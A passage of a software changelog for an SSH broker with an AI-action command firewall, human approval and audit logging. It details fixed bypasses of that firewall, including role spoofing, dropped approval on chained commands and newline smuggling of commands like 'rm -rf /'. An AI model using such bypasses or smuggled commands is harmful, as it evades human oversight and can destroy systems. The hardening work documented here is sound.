command_policies) attaches N policies to a group (group_command_policies: group → [names]), and a host (with N groups) gets the composition of all its groups' policies plus its own inlinecommand_policy. Composition is additive: deny wins (any denylist match blocks), allow is a union (if any contributing policy is an allowlist, the command must match the union of all of them),require_approvalis a union, andshell_parseis OR. The reserved group_defaultapplies to every host (global guardrail, mirroringca_keys_default). Newinternal/signer/policyset.go(PolicySet) andCompileHostPoliciesresolve + validate the composition at config load (a one-element set reproducesCommandPolicy.Decideexactly, so single-policy hosts are unchanged). Works in both the remote signer (signer.json) and the local single-binary broker (config.json). Newbroker-ctl policy explain --config <f> --host <h> [--command <c>]prints a host's composed policy and evaluates a command offline (no signing, no network). SeeARCHITECTURE.md§ AI-action firewall and the example configs.
[v1.13.0] - 2026-06-16¶
Security hardening from an adversarial (red-team) review of authentication,
RBAC, privilege escalation, the command firewall, and audit integrity. Two
high-severity bypasses (command firewall via role=bastion; deny-all RBAC
collapsing to unrestricted on the wire) plus several medium/low fixes.
Security¶
- Command firewall could be bypassed by requesting
role=bastion. The AI-action firewall (command_policy) and the certforce-commandwere applied only forrole=target, whilerolearrives unverified from the wire. A compromised broker could requestrole=bastionon a host that had both acommand_policyandallow_as_bastion, obtaining a certificate with the host's real principal, no force-command, andpermit-port-forwarding— i.e. an unrestricted credential that evades the allow/deny rules entirely, defeating the "one-shot policy survives a fully compromised broker" guarantee.PolicyTable.Resolvenow rejects any non-targetrole on a host whosecommand_policyrestricts, andPolicyTable.Validaterejects a host that sets bothallow_as_bastionand acommand_policy(the two are mutually exclusive — a bastion certificate carries no force-command). Defends both the remote signer and the broker's local mode. - Empty OIDC groups (deny-all) collapsed to unrestricted on the wire. The
OIDC verifier computes a non-nil empty
[]string{}for an authenticated user with zero groups, so the signer denies every host (deny-all). But the broker→signer wire field usedjson:",omitempty", which drops a length-0 slice entirely, so the request arrived withend_user_groups == nil— read by the signer as unrestricted (no per-user filter), the exact inverse of the intended decision.WireRequest.EndUserGroupsno longer usesomitempty:nil(no end-user identity) round-trips tonil;[](deny-all) round-trips to a non-nil empty slice. GET /v1/hostsignored per-hostallowed_callers. The host list applied only the group RBAC filter, so a broker CN excluded from a host viaallowed_callers(but not group-restricted — thecallerstable is default-open) still received that host'saddr/user/host_key/jump. The handler now also drops hosts whoseallowed_callersexcludes the caller, matching the/v1/signauthorization.- Approval requests hid sudo elevation from the human approver. The pending
request stores
sudo/sudo_userand the issued certificate bakes the sudo prefix into its force-command, butbroker-ctl approval listand the defaultlognotifier did not display the elevation, so an approver could authorize a benign-looking command unaware it would run as root. Both now showelevation=sudo:<user>(the webhook already serialized the full request and the Teams card already rendered it). - Certificate KeyID accepted control characters in broker-supplied identity.
end_userand the resolved caller (on_behalf_offrom a trusted forwarder) flowed verbatim into the cert KeyID, which sshd writes to its auth log; a newline let a compromised forwarder forge/splice lines in the host'sauth.log. The signer now rejects control characters incaller/end_user.
Fixed¶
- Audit rotation is now verifiable end-to-end.
broker-ctl audit verifygains an--allflag that discovers the rotated segments (<log>.<timestamp>) plus the active file, verifies each, and checks the cross-file linkage (segment N's firstprev_hash== SHA-256 of segment N-1's last line, earliest segment starts at genesis). Single-file verification accepted the firstprev_hashas an unchecked seed, so dropping a whole rotated segment — or truncating the active file and restarting (which re-anchors to genesis) — was undetectable, contradicting THREAT_MODEL's rotation guarantee.--alldetects both. broker-ctl host add --forceno longer wipes the wholecommand_policy. A partial update that passed any one policy sub-flag rebuilt the entire policy object from flag defaults, so omitting--policy-modesilently downgraded the host tomode:off(firewall disabled, sessions re-enabled) with no warning. The policy is now merged field-by-field like every other host field: only the sub-fields whose flags were explicitly passed are overridden.- Session
shell/ptyper-command audit now records the elevation. For an elevated shell/pty session the per-commandsession_execentries recorded a blank elevation (the prefix lives in the shell process), understating privilege. The session now retains anelevLabelfor all modes and emits it on every command. ssh_session_execchecks ownership before mutating session state. It marked a command in flight (busy/lastUsed) before the C1 ownership check, so a non-owner could refresh another caller'slastUsedand holdbusy>0to keep the session from being reaped. Ownership is now verified under the lock before any mutation (newsessionManager.checkoutOwned).
Changed¶
- Local single-binary mode no longer marks every host as a bastion.
policyFromHostshardcodedallow_as_bastion=truefor every host, grantingpermit-port-forwardingon every cert and contradicting the documented default-deny bastion gate. A newallow_as_bastionfield on the localHostConfig(default false) plus automatic enablement for hosts referenced as another host'sjumptarget preserves existing jump chains while honoring the gate for leaf hosts.
[v1.12.7] - 2026-06-13¶
Final batch from the logic-flaw review: the remaining low-severity findings, plus a build-time version that can no longer go stale.
Added¶
- Build version is derived from the git tag. New
internal/versionpackage whose value is injected via-ldflagsfromgit describe --tags, with a fallback to the Go build info (module version or VCS revision) so a plaingo buildnever reports an empty or hard-coded string. A newMakefile(make build/make install) wires the injection for every binary. The MCP server now announces this version to clients instead of the hard-coded1.4.1constant (removed). - OIDC clock-skew tolerance (
oauth.clock_skew_seconds, default 60s) for the HTTP frontend.
Fixed¶
- OIDC:
nbf(not-before) is now enforced. go-oidc validatesexpbut notnbf, so a token marked valid only from a future instant was accepted. The verifier now rejects not-yet-valid tokens and also rejects a token whoseiatis in the future (which would read as a negative age and slip under the max-age bound). Both apply the configurable clock skew, avoiding spurious 401s from minor IdP/host clock drift. - Shell sessions no longer drop a final unterminated output line. When a
command's last line lacked a trailing newline (e.g.
printf hello), the shell wrote the end-of-output marker on the same line andExecdiscarded the text before it, returning empty output. That text is now captured. A marker line with a non-numeric exit code now marks the session broken instead of silently reporting exit 0. - HTTP broker no longer maps every failure to 403.
cmd/brokernow returns 400 for a malformed request, 404 for an unknown host, 502 for an infrastructure failure (SSH dial/exec, or the signing service unreachable/5xx), and 403 only for an actual policy/authorization denial. Upstream (502) responses carry a generic message so internal addresses from dial errors are not leaked to the client (the full error is still audited). New error categoriesbroker.ErrBadRequest/ErrUnknownHost/ErrUpstreamandsigner.ErrSignerUnavailableback the classification. broker-ctl reloadverifies the PID is the signer before SIGHUP. A bare liveness check could SIGHUP a recycled PID belonging to an unrelated process; it now confirms the process command line looks like the signer and otherwise falls back to the authenticated HTTP reload (which targets the signer by URL).- Session recordings are size-capped (
recording.DefaultMaxBytes, 100 MiB, mirroring the audit-log rotation size). A long or abusive session can no longer fill the disk; the recording stops with a truncation note once the cap is reached.
[v1.12.6] - 2026-06-13¶
Second batch from the logic-flaw review (v1.12.5 shipped the two signer
firewall bypasses). Fixes across sessions, the SSH layer, the control plane,
the audit chain, and broker-ctl/CA.
Security¶
- Behaviour guardrails key on the authenticated broker CN, not the
client-supplied
end_user. The control plane keyed its rate limit and anomaly baselines onend_user, an unauthenticated JSON field, so a client could rotate it to get a fresh window / first-seen baseline on every request. Newtrusted_forwardersconfig (control-plane): only for CNs in that list doesend_userqualify the subject (<broker CN>:<end_user>); every other CN is keyed on the broker CN alone. See THREAT_MODEL.md non-goal #2. - No self-approval. The originator of an approval request can no longer
approve or deny it (four-eyes), even if its CN is in
approval.callers; the attempt is audited asself-approval-rejected. - Audit hash chain is continuous across rotation.
maybeRotatereset the chain to zero, so deleting or truncating a file at a rotation boundary was undetectable. The first entry of each rotated-to file now carriesprev_hash= hash of the previous file's last line.broker-ctl audit verifytreats a first-lineprev_hashas the chain seed.
Fixed¶
broker-ctl audit verify --keyno longer reports false signature failures. The CLI re-implemented the signed entry struct and was missing five signed fields (policy_rule,dry_run,approval_id,approved_by,anomaly), so any entry with one populated (denials, approvals, anomalies) verified as invalid. It now usesinternal/audit.Entrydirectly;show/tailalso render those fields.broker-ctl ca-keys add/removepreserves all fields. The command mirrored only 4 of the 7ca_keysfields and re-serialised the whole map, silently droppingkey_version,tenant_id,client_id, andclient_secret_envfrom every entry (breaking AKV service-principal auth). It now edits only the touched entry as raw JSON.- Session reaper no longer kills a session with a command in flight. The idle TTL (5 min) could fire under a longer exec (10 min cap), closing the connection mid-command. A busy counter protects in-flight sessions; the idle clock now counts from command completion.
- Shell sessions fail fast after a desync. After an exec timeout or output overflow, the per-session end-of-output marker was left in flight and the next exec returned the previous command's output and exit code (also corrupting the audit trail). Such a session is now marked broken and every later exec errors asking the caller to reopen it.
- Output over the 10 MiB cap is truncated, not failed.
limitedWriter/syncBufreturned a short write at the cap, which aborted the SSHio.CopywithErrShortWrite— erroring the command or stalling it until the 10-min timeout. They now consume all bytes, discard the overflow, and return the truncated output with a marker. - AKV signer pins the key version at startup. With
key_versionempty it resolved "latest" on everySigncall; after a Key Vault rotation, certs were signed by the new version while the cached public key (and the cert'sSignatureKey) was the old one, so sshd rejected them all. The version is now pinned from the KID returned at startup (rotation requires a signer reload/restart). - Intermediate ProxyJump hop dials are time-bounded. Only the first hop had a dial timeout; a dead bastion could hang a connect indefinitely. Every hop's dial is now bounded by the request context plus a per-hop timeout, and the context is cancellable.
broker-ctl host add --scanhonours the port in--addr(passesssh-keyscan -p) and handles IPv6 literals; it previously keyscanned port 22 regardless, risking a wrong/hostile host key at onboarding.broker-ctl host add --forcepreserves unspecified fields. A--forceupdate reset every field not given as a flag (sudo, groups, callers, TTL) to defaults; it now starts from the existing entry and overrides only the flags explicitly set.- Per-session goroutine leak removed.
shellReaderblocked forever on its channel after a session closed; it now exits on a done signal. - Reaper close/audit moved outside the session-manager lock, so a slow disk or a hung connection close no longer stalls all other session operations.
Added¶
- Control-plane config field
trusted_forwarders(list of broker CNs); documented incontrol-plane.example.json.
[v1.12.5] - 2026-06-13¶
Security¶
- Signer: two command-firewall bypasses closed (found in a logic-flaw
review). Both are in
PolicyTable.Resolve/CommandPolicy.Decide, the authoritative AI-action firewall: - Unknown
role/purposeno longer skip the firewall. Command-policy evaluation is gated onrole == targetand theforce-commandis baked only forpurpose == oneshot; both values arrive from the wire and were never validated. A caller authorised for a host with acommand_policycould sendrole: "x"(orpurpose: "") and receive a certificate for the target with no force-command and no policy check — a full interactive shell.Resolvenow rejects any role/purpose outside the known set (default-deny). require_approvalis no longer dropped on chained commands. Withshell_parse,DecideoverwroteneedsApprovalon each command of a chain instead of accumulating it, sosystemctl restart nginx && systemctl status nginxissued the cert without the human approval the first command required. It now OR-accumulates approval across the chain and keeps the matched rule for the audit trail.
Regression tests added for both.
[v1.12.4] - 2026-06-10¶
Changed¶
- README trimmed to a landing page (862 → 203 lines). After the v1.12.1
documentation split, the README duplicated ARCHITECTURE.md, OPERATIONS.md, and
THREAT_MODEL.md almost in full (sudo/sudoers,
broker-ctlflag table, hot reload, auth diagrams, the AI-action firewall, approval/behaviour, etc.), which was already drifting. The README is now an orientation page: pitch, frontends, documentation index, "why", a one-screen "how it works", a feature overview table linking to the canonical docs, the competitive comparison (kept in full), a quickstart, the API summary, and security/testing/license pointers. Removed the staleSecurity (v1.4.1)table and the duplicateProduction roadmap(single-sourced in THREAT_MODEL.md / HANDOFF.md). - Repointed the two inbound links that referenced now-removed README sections (USAGE.md → OPERATIONS.md §4 and ARCHITECTURE.md § AI-action firewall).
Documentation only; no code changes.
[v1.12.3] - 2026-06-10¶
Security¶
- Dependency & toolchain CVE fixes (found by the new govulncheck CI job).
Bumped
golang.org/x/netv0.54.0 → v0.55.0 (3 vulnerabilities, incl. an idna issue reached viasigner.Remote.FetchHosts) and the Go directive 1.26.3 → 1.26.4 (two standard-library vulnerabilities innet/textprotoandcrypto/x509).govulncheck ./...now reports no vulnerabilities. - Signer validates
signer.jsonon load and reload. NewPolicyTable.Validate()/CommandPolicy.Validate()compile every command-policy regex, reject unknown modes, and check that everyjumptarget is a defined host. An invalid config is now rejected up front (preserving the previous good state) instead of silently breaking a host on its next request.
Added¶
- CI quality gates (
.github/workflows/go.yml):gofmt -lcheck,go vet,go test -race, and agovulncheckjob — mirroring the CODING_STYLE / CONTRIBUTING pre-commit checklist that was previously manual-only. Pinned to Go 1.26.4. - Graceful shutdown (
internal/httpserve.RunTLS): the signer, control-plane, broker, and HTTP MCP frontend now drain in-flight requests on SIGINT/SIGTERM viahttp.Server.Shutdown, so the deferred audit-log close/flush actually runs (it did not when exiting throughlog.Fatalon a rawListenAndServeTLS). LICENSE— proprietary, all-rights-reserved notice.
Changed¶
- Docs: THREAT_MODEL.md gains two explicit non-goals — secrets logged
verbatim in audit logs/recordings (no redaction) and audit-write fail-open.
OPERATIONS.md gains a key/certificate rotation runbook (SSH CA via
TrustedUserCAKeystwo-CA transition; mTLS CA/leaf rotation).
[v1.12.2] - 2026-06-10¶
Changed¶
make_presentation.pybrought up to date (v1.12.1 content). Cover and roadmap version refreshed (v1.11.0→v1.12.1); portable output path (writes next to the script via__file__instead of a hard-coded/home/luislgf/...); slide-header comments renumbered sequentially (1–34, dropping stale(was N)/(NEW — X)annotations and duplicate numbers); dead numeric argument removed from everyslide_number()call.- Added two slides: Hardening — fail-closed by default (v1.11.2 / v1.12.0:
fail-closed OIDC groups/iat, signer-level newline rejection, host list scoped
to the user's OIDC groups, bounded approval state, uniform DoS limits) and
Security limits — what we don't claim (the threat model's explicit
non-goals: sessions without a command firewall, behaviour as detection not
containment, no KRL, default-open
callers).
[v1.12.1] - 2026-06-10¶
Changed¶
- Documentation split —
HANDOFF.mdbroken up by topic/reader. The 1,100-line HANDOFF (architecture + design decisions + runbook + PKI + pending + versioning - test plan, with the design decisions numbered out of order) is now:
ARCHITECTURE.md(new, EN) — diagram, request flow, design decisions renumbered and regrouped by theme, sudo elevation mechanism.OPERATIONS.md(new, EN) — runbook: startup, adding hosts, hot-reload,broker-ctl, PKI inventory, reference configs.CONTRIBUTING.md(new, EN) — branches,X.Y.Zversioning, the mandatory pre-commit living-docs checklist, language rule.HANDOFF.md(reduced to ~145 lines, ES) — current state, file tree, pending work, test-plan snapshot, resume notes, and a documentation index.CODING_STYLE.md— language table corrected (CHANGELOG.mdis English since v1.9.3; new*.mddocs are English;HANDOFF.mdstays Spanish); the checklist now points toCONTRIBUTING.mdfor the workflow.README.md— added a Documentation index linking the new files.
Added¶
THREAT_MODEL.md(new, EN) — assets, actors/trust levels, trust boundaries and guarantees, and an explicit non-goals/gaps section (sessions without a command firewall, broker-asserted behavior subject, no KRL, no signer rate limit, in-memory single-instance state, default-opencallers, CA custody).SECURITY.md(new, EN) — supported versions, private vulnerability reporting, scope (links to the threat model), secret-handling notes.
Documentation only; no code changes.
[v1.12.0] - 2026-06-09¶
Added¶
ssh_list_serversfiltered by the end user's OIDC groups. The host list was served from the broker's cache (fetched with its own CN), so a group-restricted user saw every host even though the signer would deny signing on most of them.GET /v1/hostsnow includes each host's RBACgroups(labels, not secrets), andEngine.ServerInfos(caller)filters by group intersection when the caller carries groups. Nil groups (stdio/mTLS) = full list (compatible); empty groups = no hosts.
Fixed¶
cmd/brokerhardening (A1/A2). The HTTP+mTLS one-shot frontend was missed by the v1.4.1 pass:http.Servernow setsReadTimeout/IdleTimeout(noWriteTimeout— the response waits for the remote command) and/v1/ssh_runlimits the request body to 64 KiB.- Approval registry memory growth.
control.Registrynever deleted entries; expired/denied/consumed approvals accumulated for the lifetime of the control plane. Entries are now purged 2×TTL after creation (opportunistically onCreate/List); a purged id answers 404 on later polls instead of 408/410. - gofmt drift in
cmd/broker-ctlandinternal/ssh/shell.go(no behavior change).
[v1.11.2] - 2026-06-09¶
Security¶
- OIDC per-user RBAC is now fail-closed. With
groups_claimconfigured, a token without the claim is rejected (401) instead of being accepted with no group restriction. Previously a claim-name typo, or an IdP that stopped emitting the claim, silently disabled per-user RBAC for every user (EndUserGroupsnil = unrestricted in the signer). An explicitly empty groups list is still propagated as-is (denies every host). (internal/oauth/verifier.go) iatclaim required whenmax_token_age_seconds > 0. A token without a numericiatwas previously exempted from the max-age check (fail-open); it is now rejected, since its age cannot be established. (internal/oauth/verifier.go)- Newlines rejected in one-shot commands at the signer. A command
containing
\n/\rcould smuggle extra command lines past regex command policies withoutshell_parse(an allowlist^psalso matches"ps\nrm -rf /", and the remote shell executes both lines of the force-command).PolicyTable.Resolvenow rejects such commands authoritatively on every host (local and remote mode); compose with;or&&instead. This also makes the long-documented API.md constraint real. (internal/signer/signer.go)
Fixed¶
- Documentation coherence pass (API.md, USAGE.md, HANDOFF.md).
ssh_list_serversno longer documentsaddr/userfields it never returned;ssh_session_openreturnsserial(notelevation_prefix);ssh_executedocumentsdry_run; the 403 cause "TTL cap exceeded" removed (TTL is clamped, not rejected); session newline restriction scoped toshell/pty; USAGE examples updated to the English tool output (v1.9.3) and a multi-line heredoc example that the broker itself would reject replaced; HANDOFF duplicated architecture diagram block and stale "signer requires restart to reload" note fixed.
[v1.11.1] - 2026-06-09¶
Fixed¶
cmd/broker-ctl: criticalcommand_policysilent erasure bug.host add --forceandhost removesilently deletedcommand_policyfrom existing hosts becausehostEntrylacked the field. Fixed by addingCommandPolicy json.RawMessage \json:"command_policy,omitempty"`tohostEntry, which preserves the raw JSON verbatim through any round-trip without broker-ctl needing to understand the internal policy structure. When--forceis used without any policy flag, the existingCommandPolicyis copied to the updated entry. When policy flags are explicitly set, a newCommandPolicy` is built from them (replacing the old one).
Added¶
-
broker-ctl host add: command policy flags. New flags:--policy-mode(allowlist|denylist|off),--allow,--deny,--require-approval,--shell-parse. Internally usesbuildCommandPolicyJSONandcommandPolicyLabelhelpers. -
broker-ctl host list: additional columns. The table now showsJUMP,SRC_ADDR,SUDO_USERS,CALLERS, andPOLICY(a short label such asallowlist(2)ordenylist(1)derived fromcommand_policy). The—placeholder is used for empty/absent fields. -
broker-ctl ca-keys add/list/remove: new subcommand group to manage theca_keysmap insigner.json. add --name <n> --type pem --path <f>— adds a PEM-backed entry.add --name <n> --type akv --vault-url <u> --key-name <k>— adds an AKV entry.list— tabular view (NAME / TYPE / DETAIL).-
remove <name>— removes an entry. All operations preserve all other fields insigner.json(atomic write via.tmprename). -
broker-ctl callers add/list/remove: new subcommand group to manage the top-levelcallersRBAC table insigner.json. add --name <cn> --groups <g1,g2>— adds or updates a caller entry.list— tabular view (NAME / ALLOWED_GROUPS).-
remove <cn>— removes a caller entry. -
writeRawinternal helper: shared atomic JSON write used bywriteHosts,writeCAKeys, andwriteCallers.
Changed¶
cmd/broker-ctl:actionvariable logic corrected. The "added" vs "updated" detection inhost addnow checks existence before the map assignment instead of after (the previous code always reported "updated" when--forcewas used).
Tests¶
cmd/broker-ctl: 29 cases (up from 13). New tests added witht.Parallel():TestCommandPolicyLabel,TestBuildCommandPolicyJSON*,TestExtractCAKeys*,TestCAKeysRoundTrip,TestCAKeysRemoveRoundTrip,TestExtractCallers*,TestCallersRoundTrip,TestCallersEmptyGroupsSerialisedAsArray,TestCommandPolicyPreservedOnForce,TestCommandPolicyErasedWhenPolicyFlagsSet,TestCommandPolicyNilWhenHostHasNone.- Total test count: 185 (up from 170).
[v1.11.0] - 2026-06-09¶
Added¶
- Multi-CA support + Azure Key Vault (AKV) backend for CA keys. The CA signing key is no longer limited to a local PEM file; any group of hosts can now use a dedicated CA key, and each key can be stored in Azure Key Vault (private key never leaves AKV).
#### New config field ca_keys (signer.json and config.json)
"ca_keys": {
"_default": { "type": "akv", "vault_url": "https://vault.azure.net", "key_name": "ssh-ca" },
"prod-web": { "type": "akv", "vault_url": "https://vault.azure.net", "key_name": "ssh-ca-web" },
"databases": { "type": "pem", "path": "pki/db_ca" }
}
"_default" overrides the legacy ca_key string when present.
- All other keys map group names to their CA. The first group in a host's
groups field that has an entry in ca_keys wins; other hosts fall back
to the default CA. Backward compatible: existing ca_key string configs
require no changes.
- Supported types: "pem" (local PEM file; emits a warning) and "akv"
(Azure Key Vault — RSA 2048/3072/4096 and EC P-256/P-384/P-521; Ed25519
is not supported by AKV).
- A 30-second startup timeout covers all AKV GetKey calls.
- ca_keys participates in hot-reload (SIGHUP / POST /v1/reload).
#### New packages / files
- internal/ca/loader.go — CAKeyConfig struct, LoadCA(ctx, cfg),
LoadGroupCAs(ctx, caKey, caKeys) (shared helper used by both
cmd/signer and internal/broker).
- internal/ca/akv.go — akvSigner (crypto.Signer backed by AKV);
akvKeyOps interface (enables mock-based unit tests without a real vault);
rawECSignatureToDER converter (AKV returns raw R‖S, SSH needs DER);
parseAKVPublicKey (JWK → Go crypto key).
- internal/ca/loader_test.go — unit tests for LoadCA / LoadGroupCAs.
- internal/ca/akv_test.go — full mock-based unit tests: EC P-256,
RSA-2048, DER conversion, algorithm selection, end-to-end BuildAndSign.
#### Modified files
- internal/ca/sign.go — BuildAndSign accepts ctx context.Context
as first parameter; context cancellation is checked before signing.
- internal/signer/signer.go — Local gains groupCAs map and
caKeyFor(hp) (first-match group selection). NewLocalWithGroupCAs
constructor added. SignIntent selects the correct CA per host.
- cmd/signer/main.go — Config.CAKeys; buildState uses
ca.LoadGroupCAs and signer.NewLocalWithGroupCAs.
- internal/broker/engine.go — Config.CAKeys; HostConfig.Groups
(propagated to signer.HostPolicy); buildSigner uses ca.LoadGroupCAs
and signer.NewLocalWithGroupCAs.
- signer.example.json / config.example.json — documented
ca_keys block with PEM and AKV examples; groups field added to
example hosts in config.example.json.
#### Azure Key Vault notes
- Authentication: DefaultAzureCredential by default (managed identity,
workload identity, AZURE_* env vars, Azure CLI). Override with
tenant_id + client_id + client_secret_env in CAKeyConfig.
- AKV EC signatures arrive as raw R‖S bytes; akvSigner converts to DER
before returning from crypto.Signer.Sign.
- Recommended key type: EC P-256 (P-256 curve, 256-bit security). RSA
3072 is also supported for compliance environments.
- Ed25519 is NOT supported by AKV; use "pem" for Ed25519 CA keys.
[v1.10.0] - 2026-06-09¶
Added¶
-
Session recording in ASCIIcast v2 format. When
session_recording_diris set inconfig.json,shellandptysessions are recorded to.castfiles in that directory. One file per session:<session_id>.cast. -
internal/recording/recorder.go— newRecordertype (thread-safe). Writes ASCIIcast v2 JSONL: a header with session metadata (session_id,caller,host,serial,started_at) plus event lines[delta, type, data]where type is"i"(stdin),"o"(stdout/PTY), or"e"(stderr). Deltas in seconds from session start. - Stdin captured (
"i"events): the command typed by the agent is recorded before being written to the shell's stdin channel. - Stdout/PTY captured (
"o"events): each output line is teed to the recorder insideShellSession.Exec(). - Stderr captured (
"e"events, non-PTY mode only): thesyncBufstderr drain tees bytes to the recorder as they arrive. - File naming correlates directly with the broker audit log: the
session_idfield insession_open/session_exec/session_closeaudit entries matches the.castfilename, making the audit log the search index. - Files are written with
0o600permissions (owner-read only). -
internal/recording/recorder_test.go— 8 test cases: header fields, event types, delta monotonicity, concurrent writes, empty-data skipping, idempotent close, write-after-close no-op, default dimensions. -
session_recording_dirconfig field inbroker.Config(JSON:session_recording_dir). Empty or absent = recording disabled.
Changed¶
internal/ssh/shell.go:ShellSessionandsyncBufgain an optionalrecorder *recording.Recorderfield; newSetRecorder()method propagates it to both stdout and stderr tee points.internal/broker/session.go:liveSessiongainsrecorderfield; recorder is opened inOpenSession(when configured), closed inCloseSessionand the session reaper.config.example.json: documentssession_recording_dir.USAGE.md: new §8 "Session recording" with setup, file format, playback, and storage management.API.md: session recording note added to the persistent sessions section.HANDOFF.md: recording marked as implemented; design decision #18 added.
[v1.9.3] - 2026-06-09¶
Changed¶
- All Go source comments, error messages, flag descriptions, and user-visible strings translated from Spanish to English across all packages and binaries (internal/, cmd/, lab/). No behaviour change.
signer.shecho strings and inline comments translated to English._commentfields in all example JSON config files translated to English.CODING_STYLE.mdsection 10 updated: English is now required for all Go comments (including legacy code); the previous "do not change on refactors" exception is removed.
[v1.9.2] - 2026-06-09¶
Added¶
shell_parsefield inCommandPolicy— whenshell_parse: true, the command is parsed as POSIX sh viamvdan.cc/sh/v3/syntaxbefore regex evaluation. Each simple command in a pipeline or sequence (&&,||,;,|) is evaluated independently against the policy, preventing bypasses such asps aux && kill -9 1000from passing an allowlist that only coversps.
Dangerous AST nodes are rejected unconditionally regardless of configured rules:
CmdSubst ($(...)) , ProcSubst (<(...)), ArithmCmd ($((...))) and file
redirects (>, >>, <). fd-to-fd redirections (2>&1) are allowed.
Backward compatible: shell_parse defaults to false, preserving existing behavior
for all operators that do not explicitly enable it.
mvdan.cc/sh/v3 v3.13.1added as a direct dependency.
Changed¶
API.md—command_policyfield description updated to documentshell_parse.signer.example.json—web02example updated withshell_parse: true.HANDOFF.md— design decision #17 updated with implementation details and reference configuration patterns.
[v1.8.0] - 2026-06-08¶
Added¶
-
Microsoft Teams notifier (
notifier: "teams"). The control plane can now send approval-required notifications to a Microsoft Teams channel via an Incoming Webhook (Power Automate Workflow) or a legacy M365 Connector, formatted as a rich card instead of raw JSON. -
internal/control/teams.go—TeamsNotifierimplementing the existingNotifierinterface. Two payload formats supported and configurable:"workflow"/"adaptivecard"(default, recommended): Adaptive Card v1.4 wrapped in the Power Automate Workflow message envelope ({"type":"message","attachments":[...]}). Compatible with the "When a Teams webhook request is received" trigger."messagecard"(legacy): MessageCard format for tenants still using the M365 Connectors classic mechanism (Microsoft is retiring this format).
- Both formats include a
FactSet/factssection with: approval ID, status, created timestamp, host, command, caller (broker CN), end user (if present), elevation target (if sudo), and policy rule (if matched). approval_url_template— new optional config field. When set (e.g."https://approvals.example.com/requests/{id}"), a "View request" button (Action.OpenUrl/OpenUri) is added to the card. Designed as a forward-compatible hook for the Phase 2 approval bridge (cmd/approval-bridge, not yet implemented). Leave empty until the bridge is deployed.- The card never contains the ephemeral public key or any
WireRequestinternal field (thereqfield ofApprovalis unexported and excluded from serialization by design). -
NewTeamsNotifier(url, format, approvalURLTemplate string)— constructor; emptyformatdefaults to"workflow". -
Config fields in
approvalblock (control-plane.json): "notifier": "teams"— selects the Teams notifier (reuseswebhook_urlas target)."teams_format": "workflow"— card format ("workflow"default,"messagecard"legacy).-
"approval_url_template": ""— optional URL with{id}placeholder. -
internal/control/teams_test.go— 18 test cases covering both card formats, fact presence (host/command/caller/end-user/elevation/rule), approval URL template (substitution, presence/absence of action buttons per format), security (no pubkey leak), HTTP error handling (4xx/5xx), and minimal approval (no optional fields). -
Design document — Phase 2 approval bridge (HANDOFF.md, design decision #15): records the architecture for future bidirectional Teams approval (bot + bridge pattern), multi-notifier config (
notifiers: [...]), multi-channel approval (approval_channels: [...]), and trade-off analysis (Options A/B/C).
Changed¶
cmd/control-plane/main.go:Config.Approvalstruct gainsTeamsFormatandApprovalURLTemplatefields; notifier selection is now aswitchstatement (extensible) instead of a singleif.control-plane.example.json:_approval_commentupdated to document"teams",teams_format, andapproval_url_template; new fields added with empty defaults.API.md: new section "Outbound Notifications — Notifier contracts" documenting the payload format for all notifiers, the Adaptive Card and MessageCard schemas, the fact table, theapproval_url_templatefield, and the security guarantee.
Added (test coverage)¶
- Test suite — high-priority coverage (3 new test files, 47 new test cases).
internal/audit/log_test.go — first direct tests for the cryptographic audit chain (previously untested despite being the most security-critical component):
- Append: sequential Seq increment, correct PrevHash chaining (SHA-256 of previous raw line), valid Ed25519 signature per entry, signature invalidation after field tampering.
- restoreChain: new path (seq=0, prevHash=""), empty file, chain continuity across process restart (3 entries → close → reopen → 2 more entries → intact 5-entry chain), error on malformed last line.
- maybeRotate: rotation fires when maxFileSize=1, rotated file exists, new log restarts at Seq=1/PrevHash=""; rotation disabled when maxFileSize=0.
- Close: no error on normal close.
internal/broker/session_test.go — first direct tests for session management and the two security fixes applied in v1.4.1:
- sessionManager: add/get/remove happy paths, get updates lastUsed, missing-ID behaviour, global limit (maxSessionsGlobal=200), per-caller limit (maxSessionsPerCaller=20), reaper evicts idle sessions and fires onReap.
- C1 (ownership enforcement): SessionExec and CloseSession reject callers that do not own the session; session is not deleted on unauthorized close.
- M5 (newline injection): SessionExec rejects commands containing \n/\r in shell and pty modes; exec mode is unaffected.
- Internal helpers: buildElevatedExecCommand, shellQuoteSession (including single-quote escaping), elevationLabelFromPrefix, newSessionID uniqueness.
cmd/broker-ctl/main_test.go — first tests for the CLI verification logic and utility helpers:
- verifyLog: intact chain passes without --key; intact chain + correct signatures pass with --key; wrong key detects invalid signatures; seq gap detected; wrong prev_hash detected; tampered field (Caller altered post-signing) detected; empty log passes cleanly.
- lastNLines: ring buffer returns last N lines; requests larger than total return all; missing file errors correctly.
- parseAuditTime: RFC3339 and YYYY-MM-DD accepted; invalid formats rejected.
- splitComma, boolStr, auditDetail: all branches covered.
[v1.7.0] - 2026-06-08¶
Added¶
- Behavioral guardrails + rate limiting (Phase C). The control plane now tracks each agent's behavior and flags deviations — statistical/rule-based, no ML:
- Anomalies: request-rate spike, a host the agent has never used before, and a command outside its history (fingerprint = first token). The first request for a subject establishes the baseline (not flagged).
- Subject: the end-user OIDC identity when present, otherwise the broker CN.
- Modes (
behavior.modeincontrol-plane.json):off(default) ·observe(audits anomalies, never blocks) ·enforce(anomalies escalate to human approval — reusing Phase B; rate-limit excess is denied with429). - Rate limiting per subject (
behavior.rate_limit_per_min) falls out of the same tracker. - Implemented in
internal/control/behavior.go(BehaviorTracker); wired into the control plane/v1/signhandler before forwarding. - Audit (control plane): new
anomalyfield; new outcomesanomaly(observe) andrate-limited(enforce). Behavior escalations are audited asapproval-requiredwithpolicy_rule="behavior"and the anomaly list. control-plane.example.jsondocuments thebehaviorblock.
Changed¶
- Control plane
/v1/sign: dry-run requests now bypass the behavior gate and rate limit (they execute nothing).requireApprovalis now a shared helper used by both command-policy and behavior escalations.
[v1.6.0] - 2026-06-06¶
Added¶
- Control plane (
cmd/control-plane) — human-in-the-loop approval (Phase B). A new service sits between the broker and the signer (broker → control-plane → signer), enforcing approval of commands the command policy marksrequire_approval, without holding the CA key (zero-trust PEP/PDP split). Flow is asynchronous (no held connections): - Broker
POST /v1/sign→ control plane forwards to the signer. - If the command needs approval, the signer returns no certificate; the control plane creates a request, notifies out-of-band, and responds
202 {approval_id}. - Broker polls
GET /v1/sign/result/{id}. - A human approves via
broker-ctl approval allow <id>→POST /v1/approvals/{id}. - The next poll re-signs with
approved=trueand returns the certificate. One approval mints exactly one certificate. - Approval is unavoidable. The signer enforces the gate: a
